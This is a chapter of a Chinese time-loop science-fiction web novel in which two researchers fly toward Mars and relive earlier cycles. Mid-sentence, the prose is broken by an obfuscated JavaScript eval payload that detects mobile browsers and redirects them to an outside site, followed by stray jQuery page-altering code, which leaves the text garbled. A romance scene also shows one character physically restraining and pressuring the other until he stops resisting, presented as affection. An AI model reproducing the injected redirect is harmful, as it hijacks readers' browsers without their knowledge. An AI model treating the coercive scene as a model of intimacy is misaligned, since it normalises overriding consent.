祝觉明关闭所有虚拟界面。数据流消失，假的日出也消失；实验室沉入更深的昏暗，只有舷窗外地球的微光透进来，在地板上铺开一片淡蓝的冷辉。
他却仿佛在光中坐着，面容平静，眼底深处那簇坚持了九百六十三万次的信念之火，第一次微微摇曳。
他从不动摇。
他准备迎风。
“好，”他笑了一下，开始收拾用品：便携终端，解密工具，聂谊生戒指里取出的晶体，还有一管高浓度营养剂——火星基地已废弃，没有补给，“你也一起吧。”
动作有条不紊，每件物品放置的位置都经过计算、以最大化利用随身空间。
怀从咎看着他收拾，忽然开口：
“博士，你相信我们真能改变什么吗？”
祝觉明拉上背包拉链，金属齿咬合的声音清脆。
“我相信数据。变数自主性权重在增长，这是客观事实。而客观事实，”他背起背包以调整肩带，“是唯一值得相信的东西。”
“那你相信我吗？”
问题悬在空中。祝觉明转身面对怀从咎，昏暗光线下，这男人的轮廓有些模糊，只有锁骨下那道灼痕在微微发亮，像暗夜里的航标。
“我相信，”祝觉明缓缓开口，“九百六十三万次循环里，每一次我想要放弃时，都是你的反应——一句话，一个眼神，一次毫无理由的坚持——让我继续计算下去。这可能是程序设定，可能是观测者的安排；但既然我无法证伪，我就选择当作真实。”
怀从咎点点头，没再说话。
他夺过怀从咎收拾好的包自己背上，站起来走向门口，在感应区停顿，等祝觉明跟上。
“博士，既然你相信我，那么跟我来吧。”
祝觉明看着他晦暗不明的眼神，主动跟上他，两人一前一后走出实验室；走廊感应灯逐盏亮起，为他们铺出一条光之路、又逐盏熄灭在身后，像在抹去足迹。他们经过苏持风的监察室，门缝下透出微光；她还在最后的工作交接、经过郭山错的办公室时门紧闭，但门缝里飘出 SYN-LUB-07 枪油的淡涩气味。
他们一同走过不一样的循环。
好像在某一次经过近日点号所在的船坞时怀从咎会停下，仰头看那艘船；银白舰身在坞灯下泛着冷硬光泽，像一柄已出鞘半寸的刀。
“会回来的。”祝觉明闭上眼，“这次一定。”
“我知道。”怀从咎收回目光，“只是跟它道个别。毕竟开过那么多次。”
他们继续走，穿过员工休息区，穿过仓储区、抵达港口边缘的小型艇库；这里存放着十艘巡查艇，用于轨道巡检和紧急救援。
好像某一次祝觉明调出权限，解锁第七号艇的舱门。
气密门滑开时，怀从咎忽然按住他的手臂。
“博士，如果这次还是失败，如果循环继续……”他停顿，寻找措辞，“下次你会记得我吗？像我记得你那样？”
祝觉明看着他的手，最终拂开了。
“系统在变化。”他笑了一下，“聂谊生现身，参数自主生成，你的记忆越来越完整……这些迹象表明，循环的隔离正在失效。所以，也许没有下次了。”
也许这就是最后一次。
“最后。”怀从咎重复这个词，像在品尝味道；尔后他松开手，率先登上巡查艇，“那就让最后值得记住。”
祝觉明跟随登艇。舱门闭合，气压平衡，系统自检灯光逐一亮起；怀从咎坐进驾驶位，手指划过控制面板，启动引擎预热。
低沉的震动从艇身传来，祝觉明在副驾坐下，调出航线图；地球在下方旋转，火星在远方等待，两者之间是六千万公里的虚空。
他将坐标输入导航系统，路线生成、一条淡蓝色的弧线连接起点与终点。
“航程五十一小时。”他吹了个口哨，“足够聊很多次天了。”
怀从咎推动操纵杆，巡查艇滑出艇库，进入无垠的黑暗；地球在后方迅速缩小，变成一颗悬挂在墨色绒布上的蓝白琉璃珠，精致而易碎。
艇内照明调至最低，只剩仪表盘的微光映着两人的脸。怀从咎专注驾驶，祝觉明监测各项数据；沉默在蔓延，但并不压抑，像默契的休战。
不，并没有。
因为怀从咎松开安全带站起来，又过来摁开祝觉明的安全带。
“你过来，”他一手摁去舱内监控一手把人抱起来，转身搁上宽大的操控台中间，“我有话同你讲。”
“什么，”祝觉明想推开他，但自己的身体已经在无数奔波中腐朽、何况他本来也打不过这个兵痞子，“有话好好讲。”
“九百六十万次轮回里我有这样冒犯过你吗，”怀从咎点点头，略一屈膝把他拽下来转身往角落上车床上放；那是他们平时摆放工具、数据板、文件的，也用来暂做暂做休息，“你想过我会这样不管不顾一次吗？”
“你别逼我弄死你然后重开。”祝觉明哑声，“撒开我。”
“我不，”怀从咎笑了，反而强硬的将人手腕擒住、越过头顶压实，“下一次你会去哪个时间线呢，我还会见到你么？”
祝觉明无言以对。
他也说不清每一次重开他是占了这个时间线的自己、还是真实的自己被一次次重启；说不清下一次的怀从咎究竟会有怎样的不同，事实上他不止一次见过各种不是人的怀从咎，譬如对自己有想法的、对陈启有想法的、对同事有想法的……
没有人规定飞行员不能有私人情感，这本就有违伦理。
怀从咎也没想要他答案，只要自己仿佛攥取到猎物般欣赏的看着祝觉明，看着那没有任何的神色和紧抿着一言不发的唇，仿佛今天即使是上刑也不能从这人口中得到一字答案。
“九百六十万次可能，我一定说过你很好看，”怀从咎自言自语的一手还给人摁着而另一只手以前二指指尖缓缓抚过人脸侧，小指顺手勾下了人眼镜折好、放在一边，“963258741次循环，这次是多余的1。”
仿佛轮晷时分秒针在此咔一次吻合，我打不死我的哭泣，浑然不觉没有你的注视我走不到今时今日。
如果你没有看着我，那我会在哪一个时间点彻底离开呢？
祝觉明颤抖了两下，卸力放弃了抵抗。
“你别这么慷慨就义的不看我，”怀从咎诧异，“我还没问你，如果我是最开始的那个我，你想对我说什么？”
祝觉明沉默的偏着头，只是眼角滚下一滴泪，又被他自己咬着下唇想狼狈的憋回去。
“你搞的像我欺负你，”怀从咎笑了，“你这是什么反应？像个被端上桌的蛋糕先挣扎两下？”
祝觉明：……
他很想踹怀从咎一脚。
“看来没有一个时间点的我告诉过你，”怀从咎轻轻掰开他膝盖好让自己有地方站、他也不至于躺的太扭曲，“我一直都在，我随着你的轮回跟着你抵达每一个时间线与我自己共存；在毁灭之后我笑着挥手离开，和你一起被投放到下一个可能性。”
祝觉明浑然没发现他们现在的距离很危险，在过去的无数次中，这个造型往往是怀从咎又要弄死他。
他确实死在过这人的枪下、机械下、工具下……，他们一起死在过训练场上、真空中、宇宙里……
太多太多次。
“我知道第7325698次轮回中我第一次见到主动平乱的你，仿佛你成了武官，给你一把枪就能领军作战；我知道第32569874次轮回里你悄悄吻了我的眼角，你以为我不知道、对没错那时候我已经死了，但我没有离开，我在等你一起走……”
怀从咎开始给他复盘，给他讲那些他一路走来他们一路走来，讲那些既然已经没有明天那就在此时此刻说尽的话。
“我知道你是在意陈启，所以我没有一次敢对你说这些。”
祝觉明：？
“我以为你在意陈启，”他打断怀从咎，“我为什么要在意一个小孩？我在意的是你想和他一起回家，好不好。”
“那是因为我确实和他认识的太早了，早到曾经我们还朦朦胧胧刚进入悸动的青春期；”怀从咎现在嘴一张也不知道真话假话了反正就是讲，“但那是在知晓你之前，博士。”
“……”祝觉明避开他如灼如烙的目光，还是想把他拨开，“你不要闹。我去看一下航行程序。”
“自动驾驶两个小时内不是问题，”怀从咎一把给他捉回去，“你不觉得我再不做点什么对不起你一次次为我轮回，我觉得。”
“？”祝觉明敏感的意识到这次怀从咎可能不是要杀了自己，想起身逃跑但为时已晚；祝觉明掐着他腰拽住他、轻而易举的将他制服，笑着凑到他耳边：
“博士，你有时候真的很聪明，但有时候不善解人心。”
“你像那庙堂上的菩萨，慈眉善目，偏无回应。”
“你哪学的荤话！”这次祝觉明是真想反抗，“不，怀从咎你怎么突然这样了，你对同事……你对同事会……放开我！”
“你再多讲一句我现在把监控打开给你叫。”怀从咎威胁他，“或者你不爱我，你确实只是把我当同事，你承认吗？”
“……”祝觉明缄口不言了。陈启在这个时间线已经死了，郭山错不站在他们这里；帮他的苏持风已经辞职，他可悲的发现自己真是叫天天不应叫地地不灵，“怀从咎……”
“那么你承认自己不在意我吗？”怀从咎还在循循善诱，“或者，好菩萨，你施舍一下我？”
“太油腻了吧！”祝觉明也是服了，“你是文盲？这话说出口够把你辞职一降到底，不尊重联合组织宗教信仰是违……”
“那么你同意我不把你当做神明了，”怀从咎打断他，“我是不是可以认为，你同意以爱人的身份，至少在这条时间线上用你和我，在毁灭之前最后一次血脉相融？”
祝觉明觉得自己真是秀才遇到兵有理讲不清。
他其实是那种很漂亮的长相，轮廓明晰、肤色浅白如洗；一双眼睛看人的目光里总那样悲悯，让怀从咎不明白他究竟底线低到何处。
自己究竟要对他做什么，他才会拒绝？
“千万次轮回，无数载回溯，”怀从咎叹了口气，“我想明白了，我们可以不相爱，不妨碍我逾矩。反正重启之后，一切不复存在。”
祝觉明真的没招了。
“你根本没给我拒绝的余地吧，”他环顾四周，“你不会要……”
“祝博士心率异常突发状况，我申请离岗陪他去休息室三个小时，请ai接管航行。”怀从咎把胸前兜里通讯仪拨到林静渊的频道，“好了。我们走吧。”
祝觉明看着他的眼睛，终究是妥协了。
“行，有话我们慢慢讲。”
我认识你其实也在很早之前了，那时山脉尚未相连、星辰尚未辗转，你我仍是两粒原子在寂静虚空中牵手合十、面对面闭眼祷念。
后来世界上有了日月，华表耸起撑覆沧海桑田；天际与地平交错蜿蜒，时间驶向江河奔流的峰谷之间、我们回头是人类直立起来看向星轨，向前是昏晓双阳平分长夜余火与白明晴风。你从死寂中向我垂下恻隐，在我荒芜缭乱的生命中投下纷飞喧嚣的翩跹；这就是你敲破的默静，我将其刻在石碑上、怀入凉壁里。
直到我们拥抱着化为骨骸，直到我们灰飞烟灭皮之不存；直到这兴衰更迭的地球轰然炸成满天碎屑的岩原，直到空洞重新让原本翔实的永生再度虚无。亲爱的，那我要说，血流成河洗不去我重若千钧的执着，雷光飓风透彻千万个世纪，不妨碍我一回回身入罪孽。我的局就以你为阵眼息息相关，你看见云雾飘渺湖海细分，那是我将自身劈为千万缕萦绕着你、直到我看见你安详的栖息。
这就是我一直在执着追寻的。
我与我自己寸步不离，我与你，两不相异。
三小时后，他们穿越地球磁场边界；舷窗外星空变得锐利清晰，银河如一把撒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174334|196873||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
落的钻石，璀璨得令人窒息。
怀从咎忽然开口，声音很轻：
“博士，你说白骨山是你的山。那我的山在哪里？”
祝觉明转头看他。怀从咎仍盯着前方星空，侧脸线条在微光里显得那样坚硬，但眼睛深处有什么东西在流动、像冰层下的暗河。
“你可能没有山。”祝觉明摇头，“山是执念堆积而成。你每次循环都在尝试拯救，在反抗，在保护。你没有重复错误，你在重复努力。而努力……”
“——不形成山，形成路。”
“路通往哪里？”
“不知道。但至少不在原地。”
怀从咎笑了，那笑容很淡，几乎看不见，但祝觉明捕捉到了。他转回头继续监测数据，发现变数自主性权重又上升了百分之零点五。
艇身微微震动，进入预定轨道。火星在前方显现，起初只是个暗红色的点，逐渐膨胀成一轮锈红的圆盘。
祝觉明调出基地结构图，锁定第三储藏舱的位置。
还有四十七小时。
时间足够他再计算一万次可能，再模拟一千种风险，再规划一百条应急方案；但他关闭了数据屏，靠在椅背上，闭上眼。
这次，他选择只是等待。
等待航程结束，等待踏上火星的土地、等待打开第七柜的下层，等待看见聂谊生留下的真实之物。
等待一个，他未曾计算过的未来。
舷窗外，星辰如恒河沙数，寂静流转。巡查艇在这无垠黑暗中航行，像一粒微尘，载着两个困在循环里太久的人、载着一座白骨山的重量、载着一点刚刚萌芽的可能性。
朝火星飞去。
———
祝觉明睁开眼。
上次循环在火星之前又一次出现意外，太阳的虹膜在视野中扩张，像一只温柔的眼睛；怀从咎的灼痕与祝觉明的戒指共振交错，那声音无比像心跳。
所以太过于感情用事也会偏移。
这次循环他决定采用最直接的方案：不依赖AI，不修改协议，亲自进入高危区域进行维修；他穿戴全套防护装备，银白色外骨骼在通道灯光下反射冷硬光泽，面罩显示器流淌着能量矩阵的实时数据。陈启站在导航模块的隔离窗外看着他，手里捏着检测平板。
“博士，让我去吧。”陈启的声音透过通讯频道传来，带着年轻人特有的那种急切，“这是我的工作。”
祝觉明没有回头。他调试着手中的场稳定器、指尖控制面板上滑动，校准频率。数据流在面罩内侧滚动，显示模块底层的能量波动正在积聚——与之前九百六十三万次循环中的模式相似，但又有些微不同。
这一次的波动更集中，频率更高，像在等待什么。
“回监控室。”祝觉明没有回头，“执行命令。”
“可是——”
“没有可是。”
陈启沉默。祝觉明从面罩的反光里看见他低下头无意识地摩挲平板边缘，那个动作他见过太多次、在每一次循环的起点，在每一次死亡的前奏。年轻人总是这样，把责任看得比命重，把承诺当作不可违背的誓言。
祝觉明推开内舱门。
能量矩阵的核心区域呈现在眼前。六边形舱室，墙壁嵌满晶体阵列，中央悬浮着耦合器的磁约束能量球，靛蓝光芒规律脉动；地面上散布着维修工具，还有上次循环中AI机器人留下的残骸——钛合金骨架扭曲变形，电路板裸露，像机械生物的尸体。
他走向波动源头。
第七号耦合器侧下方的供能线路绝缘层已有些老化，在之前的循环中这里的微放电引发了连锁崩溃；祝觉明蹲下，打开检修盖板，内部结构暴露出来：导线束交织如血管，绝缘材料表面已经泛黄龟裂、细小的电弧在裂缝间跳跃，蓝白色，像濒死神经的最后颤动。
他举起场稳定器。
设备启动时共振频率与能量波动逐渐同步。面罩显示器上的读数开始下降，百分之三百，二百七十，二百四十……波动被压制，电弧熄灭、绝缘层表面的龟裂在稳定场的作用下缓慢弥合。
成功概率升至百分之八十九。
就在这时，他听见背后传来气压阀开启的嘶响。
祝觉明转头。陈启站在内舱门口，没穿防护服，只着普通工作服，手里拿着绝缘胶带和焊接器。
“我说了让你回去。”祝觉明蹙眉，声音失真而冰冷，“你怎么回事？”
“您一个人太危险。”陈启走进来，脚步很轻，像怕惊扰什么，“两个人配合更快。我处理外层，您稳定核心，这样能在下次能量潮汐前完成。”
“能量潮汐还有十七分钟。”
“够用。”
陈启已经开始动作。他蹲在祝觉明对面，熟练地剥离损坏的绝缘层，露出下方导线。他的动作很稳，每个步骤都符合规程——太符合了，像演练过无数遍。祝觉明看着他，忽然意识到一件事：
在之前的循环中，陈启从未在他维修时闯入。
这是新的变量。
为什么？
显示器上能量读数突然跳升。
百分之五百。
祝觉明抬头。耦合器的磁约束能量球开始不规则脉动，靛蓝光芒变得刺眼，晶体阵列与墙壁一同震动；陈启也感觉到了，他停下手仰头看着能量球，第一次露出困惑的神情。
“不应该啊……”他低声，“我计算过负载……”
“出去。”祝觉明站起来，场稳定器的功率推到极限，尖锐的如同如嘶吼，“现在。”
陈启没动。他盯着能量球眼睛瞪大，瞳孔里映着那团越来越亮的蓝光；他似乎在计算什么，尔后他笑了。
那笑容很淡，转瞬即逝，但祝觉明看见了。那不是年轻人莽撞的笑，不是完成任务时的欣慰，是更复杂的东西，混杂着释然、歉疚，还有深沉的疲惫。
“博士。”陈启声音平静得可怕，“您知道吗，有时候我觉得这一切都发生过。”